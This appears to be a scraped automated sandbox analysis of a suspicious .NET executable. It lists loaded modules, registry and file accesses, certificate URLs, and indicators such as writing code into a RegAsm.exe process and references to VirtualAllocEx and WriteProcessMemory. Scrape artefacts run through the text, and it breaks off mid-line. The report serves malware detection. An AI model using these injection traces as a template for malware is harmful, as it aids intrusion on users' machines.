"66f4247962974_vfdsgasd12.exe" loaded module "API-MS-WIN-CORE-STRING-L1-1-0" at base 74f50000 "66f4247962974_vfdsgasd12.exe" loaded module "API-MS-WIN-CORE-DATETIME-L1-1-1" at base 74f50000 "66f4247962974_vfdsgasd12.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-2-0" at base 74f50000 "66f4247962974_vfdsgasd12.exe" loaded module "%WINDIR%\SYSTEM32\IMM32.DLL" at base 75e70000 "66f4247962974_vfdsgasd12.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 74f50000 "66f4247962974_vfdsgasd12.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 74f50000 "66f4247962974_vfdsgasd12.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 74f50000 "66f4247962974_vfdsgasd12.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 73380000 "66f4247962974_vfdsgasd12.exe" loaded module "ADVAPI32.DLL" at base 75310000 "66f4247962974_vfdsgasd12.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\MSCOREEI.DLL" at base 73250000 "66f4247962974_vfdsgasd12.exe" loaded module "SHLWAPI.DLL" at base 75b40000 "66f4247962974_vfdsgasd12.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2.DLL" at base 76280000 "66f4247962974_vfdsgasd12.exe" loaded module "VERSION.DLL" at base 74480000 "66f4247962974_vfdsgasd12.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLR.DLL" at base 72aa0000 "66f4247962974_vfdsgasd12.exe" loaded module "USER32.DLL" at base 74d70000 "66f4247962974_vfdsgasd12.exe" loaded module "API-MS-WIN-CORE-QUIRKS-L1-1-0.DLL" at base 74f50000 "66f4247962974_vfdsgasd12.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\MSCOREE.DLL" at base 0 "66f4247962974_vfdsgasd12.exe" loaded module "MSCOREE.DLL" at base 71d70000 "66f4247962974_vfdsgasd12.exe" loaded module "%WINDIR%\SYSTEM32\COMBASE.DLL" at base 75c20000 "66f4247962974_vfdsgasd12.exe" loaded module "PSAPI.DLL" at base 74d20000 "66f4247962974_vfdsgasd12.exe" loaded module "RPCRT4.DLL" at base 75eb0000 "66f4247962974_vfdsgasd12.exe" loaded module "KERNEL32.DLL" at base 74770000 "66f4247962974_vfdsgasd12.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\MSCORLIB\36EACCFDE177C2E7B93B8DBDDE4E012A\MSCORLIB.NI.DLL" at base 70960000 "66f4247962974_vfdsgasd12.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\OLE32.DLL" at base 0 "66f4247962974_vfdsgasd12.exe" loaded module "OLE32.DLL" at base 74a90000 "66f4247962974_vfdsgasd12.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 0 "66f4247962974_vfdsgasd12.exe" loaded module "API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 75c20000 "66f4247962974_vfdsgasd12.exe" loaded module "API-MS-WIN-CORE-XSTATE-L2-1-0.DLL" at base 74f50000 "66f4247962974_vfdsgasd12.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLRJIT.DLL" at base 72940000 "66f4247962974_vfdsgasd12.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM\2C3C912EA8F058F9D04C4650128FEB3F\SYSTEM.NI.DLL" at base 71ee0000 "66f4247962974_vfdsgasd12.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.CORE\31FAE3290FAD30C31C98651462D22724\SYSTEM.CORE.NI.DLL" at base 70140000 "66f4247962974_vfdsgasd12.exe" loaded module "NTDLL.DLL" at base 77d30000 "66f4247962974_vfdsgasd12.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 746a0000 "cmd.exe" loaded module "KERNEL32" at base 74770000 "cmd.exe" loaded module "API-MS-WIN-CORE-STRING-L1-1-0" at base 74f50000 "cmd.exe" loaded module "API-MS-WIN-CORE-DATETIME-L1-1-1" at base 74f50000 "cmd.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-2-0" at base 74f50000 "cmd.exe" loaded module "%WINDIR%\SYSTEM32\IMM32.DLL" at base 75e70000 "cmd.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 74f50000 "cmd.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 74f50000 "cmd.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 74f50000 "cmd.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 73380000 "cmd.exe" loaded module "KERNEL32.DLL" at base 74770000 "cmd.exe" loaded module "NTDLL.DLL" at base 77d300002b:T499,"66f4247962974_vfdsgasd12.exe" file has an entrypoint instructions - "jmp dword ptr [0x402000],add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,"2c:T7ec,Observed system executable string:"1,"fusion","GAC",01,"WinRT","NotApp",13,"System Version=4.0.0.0 Culture=neutral PublicKeyToken=b77a5c561934e089","C:\WINDOWS\assembly\NativeImages_v4.0.30319_32\System\2c3c912ea8f058f9d04c4650128feb3f\System.ni.dll",03,"System.Core Version=4.0.0.0 Culture=neutral PublicKeyToken=b77a5c561934e089","C:\WINDOWS\assembly\NativeImages_v4.0.30319_32\System.Core\31fae3290fad30c31c98651462d22724\System.Core.ni.dll",0" [Source: 66f4247962974_vfdsgasd12.exe.log] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll" [Source: 00000000-00007992-00000C28-512223622] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\clr.dll" [Source: 00000000-00007992-00000C28-512676685] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll" [Source: 00000000-00007992-00000C28-512814571] Observed system executable string:"%WINDIR%\system32\combase.dll" [Source: 00000000-00007992-00000C28-512925852] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll" [Source: 00000000-00007992-00000C28-513281817] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll" [Source: 00000000-00007992-00000C28-513332779] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" [Source: 00000000-00007992-00000C28-513388293] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\clrjit.dll" [Source: 00000000-00007992-00000C28-513510165] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System\2c3c912ea8f058f9d04c4650128feb3f\System.ni.dll" [Source: 00000000-00007992-00000C28-513617621] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Core\31fae3290fad30c31c98651462d22724\System.Core.ni.dll" [Source: 00000000-00007992-00000C28-513684551]2d:T749,"66f4247962974_vfdsgasd12.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER\SEGMENT HEAP"; Key: ""; Value: "") "66f4247962974_vfdsgasd12.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: ""; Value: "") "66f4247962974_vfdsgasd12.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WOW64\X86"; Key: ""; Value: "") "66f4247962974_vfdsgasd12.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\CONHOST.EXE"; Key: ""; Value: "") "66f4247962974_vfdsgasd12.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: ""; Value: "") "66f4247962974_vfdsgasd12.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER\BAM"; Key: ""; Value: "") "66f4247962974_vfdsgasd12.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "") "66f4247962974_vfdsgasd12.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SAFEBOOT\OPTION"; Key: ""; Value: "") "66f4247962974_vfdsgasd12.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SRP\GP\DLL"; Key: ""; Value: "") "66f4247962974_vfdsgasd12.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "66f4247962974_vfdsgasd12.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "66f4247962974_vfdsgasd12.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: ""; Value: "") "66f4247962974_vfdsgasd12.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: ""; Value: "")2e:Tb99,"66f4247962974_vfdsgasd12.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "RESOURCEPOLICIES"; Value: "") "66f4247962974_vfdsgasd12.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WOW64\X86"; Key: "66F4247962974_VFDSGASD12.EXE"; Value: "") "66f4247962974_vfdsgasd12.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WOW64\X86"; Key: ""; Value: "") "66f4247962974_vfdsgasd12.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CONHOST.EXE"; Value: "") "66f4247962974_vfdsgasd12.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "") "66f4247962974_vfdsgasd12.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED"; Value: "") "66f4247962974_vfdsgasd12.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: "LONGPATHSENABLED"; Value: "") "66f4247962974_vfdsgasd12.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: "LOGFLAGS"; Value: "") "66f4247962974_vfdsgasd12.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: "SHOWDEBUGINFO"; Value: "") "66f4247962974_vfdsgasd12.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\SHELL FOLDERS"; Key: "CACHE"; Value: "") "66f4247962974_vfdsgasd12.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY"; Value: "") "66f4247962974_vfdsgasd12.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK"; Value: "") "66f4247962974_vfdsgasd12.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\MUI\UILANGUAGES\EN-US"; Key: "TYPE"; Value: "") "66f4247962974_vfdsgasd12.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\MUI\UILANGUAGES\EN-US"; Key: "ALTERNATECODEPAGE"; Value: "") "66f4247962974_vfdsgasd12.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP"; Key: "PREFERREDUILANGUAGES"; Value: "") "66f4247962974_vfdsgasd12.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED"; Key: "MACHINEPREFERREDUILANGUAGES"; Value: "") "66f4247962974_vfdsgasd12.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "SAFEDLLSEARCHMODE"; Value: "") "66f4247962974_vfdsgasd12.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA\FIPSALGORITHMPOLICY"; Key: "ENABLED"; Value: "") "66f4247962974_vfdsgasd12.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA"; Key: "FIPSALGORITHMPOLICY"; Value: "")2f:T9d7,"66f4247962974_vfdsgasd12.exe" trying to access non-existent file "C:\Windows\System32\WOW64LOG.DLL" "66f4247962974_vfdsgasd12.exe" trying to access non-existent file "C:\FLTLIB.DLL" "66f4247962974_vfdsgasd12.exe" trying to access non-existent file "C:\CRYPTSP.DLL" "66f4247962974_vfdsgasd12.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v1.0.3705\CLR.DLL" "66f4247962974_vfdsgasd12.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v1.0.3705\MSCORWKS.DLL" "66f4247962974_vfdsgasd12.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v1.1.4322\CLR.DLL" "66f4247962974_vfdsgasd12.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v1.1.4322\MSCORWKS.DLL" "66f4247962974_vfdsgasd12.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v2.0.50727\CLR.DLL" "66f4247962974_vfdsgasd12.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\VCRUNTIME140_CLR0400.DLL" "66f4247962974_vfdsgasd12.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\VCRUNTIME140_CLR0400.dll" "66f4247962974_vfdsgasd12.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\UCRTBASE_CLR0400.DLL" "66f4247962974_vfdsgasd12.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\ucrtbase_clr0400.dll" "66f4247962974_vfdsgasd12.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSCOREE.DLL" "66f4247962974_vfdsgasd12.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscoree.dll" "66f4247962974_vfdsgasd12.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\OLE32.DLL" "66f4247962974_vfdsgasd12.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\ole32.dll" "66f4247962974_vfdsgasd12.exe" trying to access non-existent file "C:\Windows\SysWOW64\RPCSS.DLL" "66f4247962974_vfdsgasd12.exe" trying to access non-existent file "C:\WINDOWS\system32\rpcss.dll" "66f4247962974_vfdsgasd12.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\API-MS-WIN-CORE-WINRT-L1-1-0.DLL" "66f4247962974_vfdsgasd12.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" "cmd.exe" trying to access non-existent file "C:\Windows\System32\WOW64LOG.DLL"30:T557,"66f4247962974_vfdsgasd12.exe" trying to access non-existent file "C:\Windows\SysWOW64\MSCOREE.DLL.LOCAL" "66f4247962974_vfdsgasd12.exe" trying to access non-existent file "C:\WINDOWS\SYSTEM32\MSCOREE.DLL.local" "66f4247962974_vfdsgasd12.exe" trying to access non-existent file "C:\66F4247962974_VFDSGASD12.EXE.CONFIG" "66f4247962974_vfdsgasd12.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\FUSION.LOCALGAC" "66f4247962974_vfdsgasd12.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\fusion.localgac" "66f4247962974_vfdsgasd12.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\66F4247962974_VFDSGASD12.EXE.LOG" "66f4247962974_vfdsgasd12.exe" trying to access non-existent file "C:\66f4247962974_vfdsgasd12.exe.config" "66f4247962974_vfdsgasd12.exe" trying to access non-existent file "C:\Windows\assembly\NativeImages_v4.0.30319_32\GCM" "66f4247962974_vfdsgasd12.exe" trying to access non-existent file "C:\66F4247962974_VFDSGASD12.INI" "66f4247962974_vfdsgasd12.exe" trying to access non-existent file "C:\66f4247962974_vfdsgasd12.INI" "66f4247962974_vfdsgasd12.exe" trying to access non-existent file "C:\Windows\assembly\GAC\PUBLISHERPOLICY.TME" "cmd.exe" trying to access non-existent file "C:\ProgramData\GIIIECBGDHJJ"31:T449,Heuristic match: "#1k.tz" Heuristic match: "em.kh" Heuristic match: "ou.kp" Pattern match: "www.digicert.com1!0" Pattern match: "http://ocsp.digicert.com0a" Pattern match: "cacerts.digicert.com/digicerttrustedrootg4.crt0c" Pattern match: "crl3.digicert.com/digicerttrustedrootg4.crl0" Pattern match: "crl3.digicert.com/digicerttrustedg4codesigningrsa4096sha3842021ca1.crl0s" Pattern match: "crl4.digicert.com/digicerttrustedg4codesigningrsa4096sha3842021ca1.crl0" Pattern match: "http://www.digicert.com/cps0" Pattern match: "http://ocsp.digicert.com0\" Pattern match: "cacerts.digicert.com/digicerttrustedg4codesigningrsa4096sha3842021ca1.crt0" Pattern match: "7www.entrust.net/cps_2048" Pattern match: "www.entrust.net/legal-terms1907" Pattern match: "http://www.entrust.net/rpa03" Pattern match: "http://ocsp.entrust.net02" Pattern match: "http://crl.entrust.net/2048ca.crl0" Pattern match: "http://ocsp.entrust.net03" Pattern match: "http://aia.entrust.net/ts1-chain256.cer01" Pattern match: "http://crl.entrust.net/ts1ca.crl0" Pattern match: "https://www.entrust.net/rpa0"32:Taec,"66f4247962974_vfdsgasd12.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework\\* (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "FindNextFileW" with parameter NETFXSBS10.exe (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "FindNextFileW" with parameter netfxsbs12.hkf (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "FindNextFileW" with parameter sbscmp10.dll (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "FindNextFileW" with parameter sbscmp20_mscorwks.dll (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "FindNextFileW" with parameter sbscmp20_perfcounter.dll (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "FindNextFileW" with parameter sbs_diasymreader.dll (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "FindNextFileW" with parameter sbs_iehost.dll (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "FindNextFileW" with parameter sbs_microsoft.jscript.dll (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "FindNextFileW" with parameter sbs_microsoft.vsa.vb.codedomprocessor.dll (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "FindNextFileW" with parameter sbs_mscordbi.dll (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "FindNextFileW" with parameter sbs_mscorrc.dll (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "FindNextFileW" with parameter sbs_mscorsec.dll (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "FindNextFileW" with parameter sbs_system.configuration.install.dll (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "FindNextFileW" with parameter sbs_system.data.dll (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "FindNextFileW" with parameter sbs_system.enterpriseservices.dll (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "FindNextFileW" with parameter sbs_VsaVb7rt.dll (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "FindNextFileW" with parameter sbs_wminet_utils.dll (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "FindNextFileW" with parameter SharedReg12.dll (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "FindNextFileW" with parameter v1.0.3705 (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "FindNextFileW" with parameter v1.1.4322 (UID: 00000000-00007992) "66f4247962974_vfdsgasd12.exe" called "FindNextFileW" with parameter v2.0.50727 (UID: 00000000-00007992)33:T584,"66f4247962974_vfdsgasd12.exe" wrote 00000004 bytes to a remote process "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" (Handle: 140) "66f4247962974_vfdsgasd12.exe" wrote 00000004 bytes to a remote process "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" (Handle: 132) "66f4247962974_vfdsgasd12.exe" wrote 00000004 bytes to a remote process "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" (Handle: 780) "66f4247962974_vfdsgasd12.exe" wrote 00000400 bytes to a remote process "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" (Handle: 780) "66f4247962974_vfdsgasd12.exe" wrote 0002E400 bytes to a remote process "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" (Handle: 780) "66f4247962974_vfdsgasd12.exe" wrote 0000CA00 bytes to a remote process "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" (Handle: 780) "66f4247962974_vfdsgasd12.exe" wrote 00020200 bytes to a remote process "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" (Handle: 780) "66f4247962974_vfdsgasd12.exe" wrote 00000200 bytes to a remote process "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" (Handle: 780) "66f4247962974_vfdsgasd12.exe" wrote 00004A00 bytes to a remote process "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" (Handle: 780) "cmd.exe" wrote 00000004 bytes to a remote process "C:\Windows\SysWOW64\timeout.exe" (Handle: 400)34:T8ee,Found reference to API "VirtualAllocEx" (Indicator: "VirtualAlloc"; File: "00001468.000005BC.4587958.00401000.wprm") Found reference to API "VirtualAllocEx" (Indicator: "VirtualAllocEx"; File: "00001468.000005BC.4587958.00401000.wprm") Found reference to API "WriteProcessMemory" (Indicator: "WriteProcessMemory"; File: "00001468.000005BC.4587958.00401000.wprm") Found reference to API "VirtualFree" (Indicator: "VirtualFree"; File: "00001468.000005BC.4588582.00430000.wprm") Found reference to API "VirtualAllocExNuma" (Indicator: "VirtualAlloc"; File: "00001468.000005BC.4588582.00430000.wprm") Found reference to API "VirtualAllocExNuma" (Indicator: "VirtualAllocEx"; File: "00001468.000005BC.4588582.00430000.wprm") Found reference to API "VirtualAlloc" (Indicator: "VirtualAlloc"; File: "00001468.000005BC.4588582.00430000.wprm") Found reference to API "CreateThread" (Indicator: "CreateThread"; File: "00001468.000005BC.4588582.00430000.wprm") Found reference to API "VirtualAlloc" (Indicator: "VirtualAlloc"; Source: "00000000-00004412.00000000.80105.01EA2000.00000040.mdmp, 00000000-00004412.00000000.80112.02EA0000.00000004.mdmp") Found reference to API "VirtualAllocEx" (Indicator: "VirtualAlloc"; Source: "00000000-00004412.00000000.80105.01EA2000.00000040.mdmp, 00000000-00004412.00000000.80112.02EA0000.00000004.mdmp") Found reference to API "VirtualAllocEx" (Indicator: "VirtualAllocEx"; Source: "00000000-00004412.00000000.80105.01EA2000.00000040.mdmp, 00000000-00004412.00000000.80112.02EA0000.00000004.mdmp") Found reference to API "WriteProcessMemory" (Indicator: "WriteProcessMemory"; Source: "00000000-00004412.00000000.80105.01EA2000.00000040.mdmp, 00000000-00004412.00000000.80112.02EA0000.00000004.mdmp") Found reference to API "VirtualFree" (Indicator: "VirtualFree"; Source: "00000000-00004412.00000000.80112.02EA0000.00000004.mdmp") Found reference to API "VirtualAllocExNuma" (Indicator: "VirtualAlloc"; Source: "00000000-00004412.00000000.80112.02EA0000.00000004.mdmp") Found reference to API "VirtualAllocExNuma" (Indicator: "VirtualAllocEx"; Source: "00000000-00004412.00000000.80112.02EA0000.00000004.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00004412.00000000.80112.02EA0000.00000004.mdmp")35:T6da,Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+"; File: "00001468.000005BC.4587958.00401000.wprm") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; File: "00001468.000005BC.4587958.00401000.wprm") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_." (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-"; File: "00001468.000005BC.4587958.00401000.wprm") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_." (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_"; File: "00001468.000005BC.4587958.00401000.wprm") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+"; Source: "00000000-00004412.00000000.80112.02EA0000.00000004.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; Source: "00000000-00004412.00000000.80112.02EA0000.00000004.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_." (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-"; Source: "00000000-00004412.00000000.80112.02EA0000.00000004.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_." (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_"; Source: "00000000-00004412.00000000.80112.02EA0000.00000004.mdmp")36:T11a8,Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00001468-63659-6-00401284 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00001468-63659-6-00401284 Assembly shows XOR instruction xor al byte ptr [ecx+esi] in Stream UID: 00000000-00001468-63659-21-004047E8 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00001468-63659-45-00412406 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00001468-63659-45-00412406 Assembly shows XOR instruction xor eax ebp in Stream 